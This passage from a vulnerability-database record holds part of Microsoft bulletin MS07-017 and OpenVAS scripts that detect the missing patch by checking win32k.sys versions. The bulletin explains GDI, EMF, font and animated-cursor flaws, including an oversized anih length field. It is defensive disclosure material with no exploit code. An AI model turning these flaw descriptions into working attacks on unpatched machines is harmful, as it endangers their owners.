to the system and run a program.\r\n\r\nWhat causes the vulnerability? \r\nAn unchecked buffer in GDI when rendering Enhanced Metafile (EMF) image format files.\r\n\r\nWhat is Enhanced Metafile (EMF) image format? \r\nThe EMF image format is a 32-bit format that can contain both vector information and bitmap information.\r\n\r\nFor more information about image types and formats, see Microsoft Knowledge Base Article 320314. Additional information about these file formats is also available at the MSDN Library Web Site.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then try to execute a program that runs as a regular user that could exploit this vulnerability and take complete control over the affected system.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nWorkstations are primarily at risk from this vulnerability. Servers could be at more risk if administrators allow users to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nCould the vulnerability be exploited over the Internet? \r\nNo. An attacker must be able to log on to the specific system that is targeted for attack. An attacker cannot load and run a program remotely by using this vulnerability.\r\n\r\nWhat does the update do?\r\nThe update removes the vulnerability by modifying the way that the affected operating system versions validate the length of a message before it passes the message to the allocated buffer.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nNo. Microsoft received information about this vulnerability through responsible disclosure.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nGDI Invalid Window Size Elevation of Privilege Vulnerability - CVE-2006-5586:\r\n\r\nA privilege elevation vulnerability exists in the Graphics Rendering Engine in the way that it renders layered application windows. This vulnerability could allow a logged on user to take complete control of the system.\r\n\t\r\nMitigating Factors for GDI Invalid Window Size Elevation of Privilege Vulnerability - CVE-2006-5586:\r\n\r\nAn attacker must be able to log on locally to exploit this vulnerability. The vulnerability could not be exploited remotely or by anonymous users.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for GDI Invalid Window Size Elevation of Privilege Vulnerability - CVE-2006-5586:\r\n\r\nWe have not identified any workarounds for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for GDI Invalid Window Size Elevation of Privilege Vulnerability - CVE-2006-5586:\r\n\r\nWhat is the scope of the vulnerability?\r\nThis is a privilege elevation vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. To attempt to exploit the vulnerability, an attacker must be able to log on locally to the system and run a program.\r\n\r\nWhat causes the vulnerability?\r\nThe vulnerability is caused by the processing of invalid application window sizes.\r\n\r\nWhat is the Graphics Device Interface (GDI)?\r\nThe Microsoft Windows graphics device interface (GDI) enables applications to use graphics and formatted text on both the video display and the printer. Windows-based applications do not access the graphics hardware directly. Instead, GDI interacts with device drivers on behalf of applications. For more information about GDI, please visit the following MSDN article.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nHow could an attacker exploit the vulnerability?\r\nAn attacker could try to exploit the vulnerability by creating a specially crafted application and executing it on the affected system. The application could create a series of layered windows that pass an invalid parameter. In this way, an unprivileged attacker could gain complete control of the affected system.\r\n\r\nWhat systems are primarily at risk from the vulnerability?\r\nWorkstations are primarily at risk from this vulnerability. Servers could be at more risk if administrators allow users to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nCould the vulnerability be exploited over the Internet?\r\nNo. An attacker must be able to log on to the specific system that is targeted for attack. An attacker cannot load and run a program remotely by using this vulnerability.\r\n\r\nWhat does the update do?\r\nThe update resolves the vulnerability by verifying application window sizes before it passes the data to the allocated buffer\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nMicrosoft had not received any information to indicate that this vulnerability had been publicly disclosed when this security bulletin was originally issued.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited?\r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers and had not seen any examples of proof of concept code published when this security bulletin was originally issued.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nWindows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038:\r\n\r\nA remote code execution vulnerability exists in the way that Windows handles cursor, animated cursor, and icon formats. An attacker could try to exploit the vulnerability by constructing a malicious cursor or icon file that could potentially allow remote code execution if a user visited a malicious Web site or viewed a specially crafted e-mail message. An attacker who successfully exploited this vulnerability could take complete control of an affected system.\r\n\t\r\nMitigating Factors for Windows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038:\r\n\u2022\t\r\n\r\nCustomers who are using Windows Internet Explorer 7 on Windows Vista are protected from currently known web based attacks due to Internet Explorer Protected Mode. For more information on Internet Explorer Protected Mode see the following Windows Web site.\r\n\u2022\t\r\n\r\nBy default, Microsoft Office Outlook 2007 uses Microsoft Word to display e-mail messages which protects customers from the HTML e-mail preview and attack vector.\r\n\u2022\t\r\n\r\nIn a Web-based attack scenario, an attacker would have to host a Web site that contains a Web page that is used to exploit this vulnerability. An attacker could also attempt to compromise a Web site to have it serve up a Web page with malicious content attempting to exploit this vulnerability. An attacker would have no way to force users to visit a Web site. Instead, an attacker would have to persuade them to visit the Web site, typically by getting them to click a link that takes them to the attacker's site or a site compromised by the attacker.\r\n\u2022\t\r\n\r\nAn attacker who successfully exploited this vulnerability could gain the same user rights as the local user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for Windows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038:\r\n\r\nMicrosoft has tested the following workarounds. Although these workarounds will not correct the underlying vulnerability, they help block known attack vectors. When a workaround reduces functionality, it is identified in the following section.\r\n\u2022\t\r\n\r\nRead e-mail messages in plain text format if you are using Outlook 2002 Service Pack 3 or a later version to help protect yourself from the HTML e-mail attack vector.\r\n\r\nCustomers using Microsoft Outlook 2002 Service Pack 3 and Microsoft Outlook Express 6 Service Pack 1 or later versions can enable this setting and view e-mail messages that are not digitally signed or e-mail messages that are not encrypted in plain text only.\r\n\r\nNote Reading e-mail in plain text on Outlook Express does not mitigate attempts to exploit this vulnerability.\r\n\r\nNote While reading e-mail in plain text on Windows Mail in Windows Vista does mitigate attempts to exploit the vulnerability it does not provide mitigation if forwarding or replying to e-mail messages sent by an attacker.\r\n\r\nImpact of Workaround: E-mail messages that are viewed in plain text format will not contain pictures, specialized fonts, animations, or other rich content. Additionally\r\n\u2022\t\r\n\r\nThe changes are applied to the preview pane and to open messages.\r\n\u2022\t\r\n\r\nPictures become attachments so that they are not lost.\r\n\u2022\t\r\n\r\nBecause the message is still in Rich Text or HTML format in the store, the object model (custom code solutions) may behave unexpectedly.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for Windows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038:\r\n\r\nWhat is the scope of the vulnerability?\r\nThis isa remote code execution vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full privileges. Users whose accounts are configured to have fewer privileges on the system could be less impacted than users who operate with administrative privileges.\r\n\r\nWhat are Animated Cursors?\r\nAnimated cursors are a feature that allows a series of frames to appear at the mouse pointer location instead of a single image. The Animated Cursors feature is designated by the .ani suffix.\r\n\r\nIf I block files that use the .ani file name extension, can this protect me against attempts to exploit this vulnerability? \r\nNo. The vulnerability is not constrained by the .ani file extension. Additional image file types may be used to exploit the vulnerability.\r\n\r\nWhat causes the vulnerability?\r\nThe vulnerability exists in the way that Windows performs format validation prior to handling cursors, animated cursors, and icons.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nAn attacker could try to exploit the vulnerability by creating a specially crafted web page. An attacker could also create a specially-crafted email message and send it to an affected system. Upon viewing a web page, previewing or reading a specially crafted message, or opening a specially crafted email attachment the attacker could cause the affected system to execute code. While animated cursors typically are associated with the .ani file extension, a successful attack is not constrained by this file type.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nWorkstations and terminal servers are primarily at risk. Servers could be at more risk if users who do not have sufficient administrative permissions are given the ability to log on to servers and run programs or browse the Internet. However, best practices strongly discourage allowing this.\r\n\r\nWhat does the update do?\r\nThe update removes the vulnerability by modifying the way that cursors, animated cursor, and icon formats are validated prior to rendering.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nYes. This vulnerability has been publicly disclosed. It has been assigned Common Vulnerability and Exposure number CVE-2007-0038.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited?\r\nYes. When the security bulletin was released, Microsoft had received information that this vulnerability was being exploited.\r\n\r\nWhat is Microsoft\u2019s response to the availability of third party patches for the Animated Cursor vulnerability?\r\nMicrosoft recommends that customers download and deploy the security update associated with this security bulletin.\r\n\r\nAs a general rule, it is a best practice to obtain security updates for software vulnerabilities from the original vendor of the software. With Microsoft software, Microsoft carefully reviews and tests security updates to ensure that they are of high quality and have been evaluated thoroughly for application compatibility. In addition, Microsoft\u2019s security updates are offered in 23 languages for all affected versions of the software simultaneously.\r\n\r\nMicrosoft cannot provide similar assurance for independent third party security patches or mitigations.\r\n\r\nDoes applying this security update help protect customers from the code that has been published publicly that attempts to exploit this vulnerability?\r\nYes. This security update addresses the vulnerability that is being actively exploited. The vulnerability that has been addressed has been assigned the Common Vulnerability and Exposure number CVE-2007-0038.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nGDI Incorrect Parameter Local Elevation of Privilege Vulnerability - CVE-2007-1215:\r\n\r\nA local elevation of privilege vulnerability exists in the Graphics Device Interface due to the way it processes color-related parameters. This vulnerability could allow an attacker to take complete control of the system.\r\n\t\r\nMitigating Factors for GDI Incorrect Parameter Local Elevation of Privilege Vulnerability - CVE-2007-1215:\r\n\r\nAn attacker must have valid logon credentials and be able to log on locally to exploit this vulnerability. The vulnerability could not be exploited remotely or by anonymous users\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for GDI Incorrect Parameter Local Elevation of Privilege Vulnerability - CVE-2007-1215:\r\n\r\nWe have not identified any workarounds for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for GDI Incorrect Parameter Local Elevation of Privilege Vulnerability - CVE-2007-1215:\r\n\r\nWhat is the scope of the vulnerability?\r\nThis is a local elevation of privilege vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker with valid logon credentials could then install programs; view, change, or delete data; or create new accounts with the same user rights as the logged-on user.\r\n\r\nWhat causes the vulnerability?\r\nWhen a Windows-based program renders affected types of images, the program passes color-related parameters to an unchecked memory buffer in GDI.\r\n\r\nWhat is the Graphics Device Interface (GDI)?\r\nThe Microsoft Windows graphics device interface (GDI) enables applications to use graphics and formatted text on both the video display and the printer. Windows-based applications do not access the graphics hardware directly. Instead, GDI interacts with device drivers on behalf of applications. For more information about GDI please visit the following MSDN article.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nHow could an attacker exploit this vulnerability?\r\nAny program that renders the affected image types could be vulnerable to this attack. An attacker could locally log on to the system and then run a specially designed program that could exploit the vulnerability.\r\n\r\nWhat systems are primarily at risk from the vulnerability?\r\nWorkstations and terminal servers are primarily at risk. Servers could be at more risk if administrators allow users to log on to servers and to run programs or browse web pages. However, best practices strongly discourage allowing this.\r\n\r\nWhat does the update do?\r\nThe update removes the vulnerability by modifying the way that the Graphic Device Interface validates the length of data before passing the data to the allocated buffer.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nNo. Microsoft received information about this vulnerability through responsible disclosure.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nFont Rasterizer Local Elevation of Privilege Vulnerability - CVE-2007-1213:\r\n\r\nA local elevation of privilege vulnerability exists in the TrueType Fonts rasterizer in the way that it handles defective or modified font types. This vulnerability could allow a logged-on user to take complete control of the system.\r\n\t\r\nMitigating Factors for Font Rasterizer Local Elevation of Privilege Vulnerability - CVE-2007-1213:\r\n\r\nAttempts to exploit this vulnerability will most probably result in a denial of service condition caused by an unexpected restart of the affected system rather than local elevation of privilege.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for Font Rasterizer Local Elevation of Privilege Vulnerability - CVE-2007-1213:\r\n\r\nWe have not identified any workarounds for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for Font Rasterizer Local Elevation of Privilege Vulnerability - CVE-2007-1213:\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is a local elevation of privilege vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker with valid logon credentials could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nWhat causes the vulnerability? \r\nWhen processing defective or modified fonts, the TrueType Font Rasterizer may call an uninitialized function pointer.\r\n\r\nWhat is True Type Font Rasterizer? \r\nThe TrueType Font Rasterizer generates character bitmaps for screens and printers, otherwise known as raster devices.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nWho could exploit the vulnerability? \r\nTo try to exploit the vulnerability, an attacker must be able to log on locally to a system and run a program.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nAn attacker could create an application that uses a specially crafted font such that, when the True Type Font Rasterizer tries to render the specially crafted font, the Rasterizer would allow the attacker to take complete control of the affected system.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nWorkstations and terminal servers are primarily at risk. Servers could be at more risk if administrators allow users to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nWhat does the update do? \r\nThe update removes the vulnerability by changing the way that the True Type Font Rasterizer initializes True Type fonts.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nNo. Microsoft received information about this vulnerability through responsible disclosure.\r\n\r\nAcknowledgments\r\n\r\nMicrosoft thanks the following for working with us to help protect customers:\r\n\u2022\t\r\n\r\nAlexander Sotirov of Determina Security Research for reporting the Windows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038.\r\n\u2022\t\r\n\r\nMcAfee for working with us on the Windows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038.\r\n\u2022\t\r\n\r\niDefense for reporting the WMF Denial of Service Vulnerability CVE-2007-1211.\r\n\u2022\t\r\n\r\nShaun Colley of NGS Software for reporting the EMF Elevation of Privilege Vulnerability CVE-2007-1212.\r\n\u2022\t\r\n\r\nThomas Phinney of Adobe Systems for reporting the Font Rasterizer Local Elevation of Privilege Vulnerability - CVE-2007-1213.\r\n\u2022\t\r\n\r\nSergey Svinolobov for reporting the GDI Incorrect Parameter Local Elevation of Privilege Vulnerability - CVE-2007-1215.\r\n\r\nDisclaimer:\r\n\r\nThe information provided in the Microsoft Knowledge Base is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\r\n\r\nRevisions: \r\n\u2022\t\r\n\r\nV1.0 (April 3, 2007): Bulletin published.", "edition": 1, "modified": "2007-04-04T00:00:00", "published": "2007-04-04T00:00:00", "id": "SECURITYVULNS:DOC:16563", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:16563", "title": "Microsoft Security Bulletin MS07-017 Vulnerabilities in GDI Could Allow Remote Code Execution (925902)", "type": "securityvulns", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "openvas": [{"lastseen": "2017-07-02T21:13:38", "bulletinFamily": "scanner", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038"], "description": "This host is missing a critical security update according to\n Microsoft Bulletin MS07-017.", "modified": "2017-02-20T00:00:00", "published": "2011-01-14T00:00:00", "id": "OPENVAS:801720", "href": "http://plugins.openvas.org/nasl.php?oid=801720", "type": "openvas", "title": "Vulnerabilities in GDI Could Allow Remote Code Execution (925902)", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_ms07-017.nasl 5362 2017-02-20 12:46:39Z cfi $\n#\n# Vulnerabilities in GDI Could Allow Remote Code Execution (925902)\n#\n# Authors:\n# Madhuri D <dmadhuri@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_impact = \"Successful exploitation allows remote attackers to execute arbitrary code.\n Impact Level: System/Application\";\ntag_affected = \"Microsoft Windows XP Service Pack 2 and prior.\n Microsoft Windows 2000 ervice Pack 4 and prior.\n Microsoft Windows 2K3 Service Pack 2 and prior.\n Microsoft Windows Vista\";\ntag_insight = \"The flaw is due to\n - A boundary error within the handling of animated cursors\n - Invalid memory reference.\n - Privilege-escalation vulnerability when rendering malformed 'EMF'\n image files.\n - Error in Windows TrueType Font Rasterizer.\";\ntag_solution = \"Run Windows Update and update the listed hotfixes or download and\n update mentioned hotfixes in the advisory from the below link,\n http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx\";\ntag_summary = \"This host is missing a critical security update according to\n Microsoft Bulletin MS07-017.\";\n\nif(description)\n{\n script_id(801720);\n script_version(\"$Revision: 5362 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-02-20 13:46:39 +0100 (Mon, 20 Feb 2017) $\");\n script_tag(name:\"creation_date\", value:\"2011-01-14 09:03:25 +0100 (Fri, 14 Jan 2011)\");\n script_cve_id(\"CVE-2007-0038\", \"CVE-2007-1211\", \"CVE-2007-1212\",\n \"CVE-2007-1213\", \"CVE-2007-1215\");\n script_bugtraq_id(23275, 23278, 23276, 23273);\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_name(\"Vulnerabilities in GDI Could Allow Remote Code Execution (925902)\");\n script_xref(name : \"URL\" , value : \"http://secunia.com/advisories/24659\");\n script_xref(name : \"URL\" , value : \"http://xforce.iss.net/xforce/xfdb/33258\");\n script_xref(name : \"URL\" , value : \"http://xforce.iss.net/xforce/xfdb/33301\");\n script_xref(name : \"URL\" , value : \"http://securitytracker.com/alerts/2007/Apr/1017845.html\");\n script_xref(name : \"URL\" , value : \"http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx\");\n \n script_tag(name:\"qod_type\", value:\"executable_version\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2011 Greenbone Networks GmbH\");\n script_family(\"Windows : Microsoft Bulletins\");\n script_dependencies(\"secpod_reg_enum.nasl\");\n script_require_ports(139, 445);\n script_mandatory_keys(\"SMB/WindowsVersion\");\n\n script_tag(name : \"impact\" , value : tag_impact);\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n exit(0);\n}\n\n\ninclude(\"smb_nt.inc\");\ninclude(\"secpod_reg.inc\");\ninclude(\"version_func.inc\");\ninclude(\"secpod_smb_func.inc\");\n\nif(hotfix_check_sp(win2k:5, xp:3, win2003:3, winVista:3) <= 0){\n exit(0);\n}\n\n## Hotfix check\nif(hotfix_missing(name:\"925902\") == 0){\n exit(0);\n}\n\n## Get System32 path\nsysPath = registry_get_sz(key:\"SOFTWARE\\Microsoft\\COM3\\Setup\",\n item:\"Install Path\");\nif(sysPath)\n{\n sysVer = fetch_file_version(sysPath, file_name:\"win32k.sys\");\n if(sysVer)\n {\n # Windows 2K\n if(hotfix_check_sp(win2k:5) > 0)\n {\n # Grep for win32k.sys version < 5.0.2195.7133\n if(version_is_less(version:sysVer, test_version:\"5.0.2195.7133\")){\n security_message(0);\n }\n }\n \n ## Windows XP\n else if(hotfix_check_sp(xp:3) > 0)\n {\n SP = get_kb_item(\"SMB/WinXP/ServicePack\");\n if(\"Service Pack 2\" >< SP)\n {\n ## Grep for win32k.sys version < 5.1.2600.3099\n if(version_is_less(version:sysVer, test_version:\"5.1.2600.3099\")){\n security_message(0);\n }\n exit(0);\n }\n security_message(0);\n }\n \n ## Windows 2003\n else if(hotfix_check_sp(win2003:3) > 0)\n {\n SP = get_kb_item(\"SMB/Win2003/ServicePack\");\n if(\"Service Pack 1\" >< SP)\n {\n ## Grep for win32k.sys version < 5.2.3790.2892\n if(version_is_less(version:sysVer, test_version:\"5.2.3790.2892\")){\n security_message(0);\n }\n exit(0);\n }\n if(\"Service Pack 2\" >< SP)\n {\n ## Grep for win32k.sys version < 5.2.3790.4033\n if(version_is_less(version:sysVer, test_version:\"5.2.3790.4033\")){\n security_message(0);\n }\n exit(0);\n }\n security_message(0);\n }\n }\n}\n\nsysPath = registry_get_sz(key:\"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\",\n item:\"PathName\");\nif(!sysPath){\n exit(0);\n}\n\nsysVer = fetch_file_version(sysPath, file_name:\"system32\\win32k.sys\");\nif(!sysVer){\n exit(0);\n}\n \n## Windows Vista\nif(hotfix_check_sp(winVista:3) > 0)\n{\n ## Grep for win32k.sys version < 6.0.6000.16438\n if(version_is_less(version:sysVer, test_version:\"6.0.6000.16438\")){\n security_message(0);\n }\n exit(0);\n}\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2020-04-27T19:22:25", "bulletinFamily": "scanner", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038"], "description": "This host is missing a critical security update according to\n Microsoft Bulletin MS07-017.", "modified": "2020-04-23T00:00:00", "published": "2011-01-14T00:00:00", "id": "OPENVAS:1361412562310801720", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310801720", "type": "openvas", "title": "Vulnerabilities in GDI Could Allow Remote Code Execution (925902)", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Vulnerabilities in GDI Could Allow Remote Code Execution (925902)\n#\n# Authors:\n# Madhuri D <dmadhuri@secpod.com>\n#\n# Copyright:\n# Copyright (C) 2011 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.801720\");\n script_version(\"2020-04-23T08:43:39+0000\");\n script_tag(name:\"last_modification\", value:\"2020-04-23 08:43:39 +0000 (Thu, 23 Apr 2020)\");\n script_tag(name:\"creation_date\", value:\"2011-01-14 09:03:25 +0100 (Fri, 14 Jan 2011)\");\n script_cve_id(\"CVE-2007-0038\", \"CVE-2007-1211\", \"CVE-2007-1212\",\n \"CVE-2007-1213\", \"CVE-2007-1215\");\n script_bugtraq_id(23275, 23278, 23276, 23273);\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_name(\"Vulnerabilities in GDI Could Allow Remote Code Execution (925902)\");\n script_xref(name:\"URL\", value:\"http://xforce.iss.net/xforce/xfdb/33258\");\n script_xref(name:\"URL\", value:\"http://xforce.iss.net/xforce/xfdb/33301\");\n script_xref(name:\"URL\", value:\"http://securitytracker.com/alerts/2007/Apr/1017845.html\");\n script_xref(name:\"URL\", value:\"https://docs.microsoft.com/en-us/security-updates/securitybulletins/2007/ms07-017\");\n\n script_tag(name:\"qod_type\", value:\"executable_version\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2011 Greenbone Networks GmbH\");\n script_family(\"Windows : Microsoft Bulletins\");\n script_dependencies(\"secpod_reg_enum.nasl\");\n script_require_ports(139, 445);\n script_mandatory_keys(\"SMB/registry_enumerated\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation allows remote attackers to execute arbitrary code.\");\n script_tag(name:\"affected\", value:\"- Microsoft Windows XP Service Pack 2 and prior\n\n - Microsoft Windows 2000 ervice Pack 4 and prior\n\n - Microsoft Windows 2K3 Service Pack 2 and prior\n\n - Microsoft Windows Vista\");\n script_tag(name:\"insight\", value:\"The flaw is due to\n\n - A boundary error within the handling of animated cursors\n\n - Invalid memory reference.\n\n - Privilege-escalation vulnerability when rendering malformed 'EMF'\n image files.\n\n - Error in Windows TrueType Font Rasterizer.\");\n script_tag(name:\"solution\", value:\"The vendor has released updates. Please see the references for more information.\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"summary\", value:\"This host is missing a critical security update according to\n Microsoft Bulletin MS07-017.\");\n exit(0);\n}\n\ninclude(\"smb_nt.inc\");\ninclude(\"secpod_reg.inc\");\ninclude(\"version_func.inc\");\ninclude(\"secpod_smb_func.inc\");\n\nif(hotfix_check_sp(win2k:5, xp:3, win2003:3, winVista:3) <= 0){\n exit(0);\n}\n\nif(hotfix_missing(name:\"925902\") == 0){\n exit(0);\n}\n\nsysPath = registry_get_sz(key:\"SOFTWARE\\Microsoft\\COM3\\Setup\",\n item:\"Install Path\");\nif(sysPath)\n{\n sysVer = fetch_file_version(sysPath:sysPath, file_name:\"win32k.sys\");\n if(sysVer)\n {\n if(hotfix_check_sp(win2k:5) > 0)\n {\n if(version_is_less(version:sysVer, test_version:\"5.0.2195.7133\")){\n report = report_fixed_ver(installed_version:sysVer, fixed_version:\"5.0.2195.7133\");\n security_message(port: 0, data: report);\n }\n }\n\n else if(hotfix_check_sp(xp:3) > 0)\n {\n SP = get_kb_item(\"SMB/WinXP/ServicePack\");\n if(\"Service Pack 2\" >< SP)\n {\n if(version_is_less(version:sysVer, test_version:\"5.1.2600.3099\")){\n report = report_fixed_ver(installed_version:sysVer, fixed_version:\"5.1.2600.3099\");\n security_message(port: 0, data: report);\n }\n exit(0);\n }\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n }\n\n else if(hotfix_check_sp(win2003:3) > 0)\n {\n SP = get_kb_item(\"SMB/Win2003/ServicePack\");\n if(\"Service Pack 1\" >< SP)\n {\n if(version_is_less(version:sysVer, test_version:\"5.2.3790.2892\")){\n report = report_fixed_ver(installed_version:sysVer, fixed_version:\"5.2.3790.2892\");\n security_message(port: 0, data: report);\n }\n exit(0);\n }\n if(\"Service Pack 2\" >< SP)\n {\n if(version_is_less(version:sysVer, test_version:\"5.2.3790.4033\")){\n report = report_fixed_ver(installed_version:sysVer, fixed_version:\"5.2.3790.4033\");\n security_message(port: 0, data: report);\n }\n exit(0);\n }\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n }\n }\n}\n\nsysPath = registry_get_sz(key:\"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\",\n item:\"PathName\");\nif(!sysPath){\n exit(0);\n}\n\nsysVer = fetch_file_version(sysPath:sysPath, file_name:\"system32\\win32k.sys\");\nif(!sysVer){\n exit(0);\n}\n\nif(hotfix_check_sp(winVista:3) > 0)\n{\n if(version_is_less(version:sysVer, test_version:\"6.0.6000.16438\")){\n report = report_fixed_ver(installed_version:sysVer, fixed_version:\"6.0.6000.16438\");\n security_message(port: 0, data: report);\n }\n exit(0);\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-01-08T14:05:26", "bulletinFamily": "scanner", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2006-5758", "CVE-2005-0416"], "description": "Stack-based buffer overflow in the animated cursor code in Microsoft\n Windows 2000 SP4 through Vista allows remote attackers to execute\n arbitrary code or cause a denial of service (persistent reboot) via a\n large length value in the second (or later) anih block of a RIFF .ANI,\n cur, or .ico file, which results in memory corruption when processing\n cursors, animated cursors, and icons, a variant of CVE-2005-0416, as\n originally demonstrated using Internet Explorer 6 and 7.", "modified": "2020-01-07T00:00:00", "published": "2010-07-08T00:00:00", "id": "OPENVAS:1361412562310102055", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310102055", "type": "openvas", "title": "Microsoft Windows GDI Multiple Vulnerabilities (925902)", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n#\n# Microsoft Windows GDI Multiple Vulnerabilities (925902)\n#\n# LSS-NVT-2010-044\n#\n# Developed by LSS Security Team <http://security.lss.hr>\n#\n# Copyright (C) 2010 LSS <http://www.lss.hr>\n#\n# This program is free software; you can redistribute it and/or 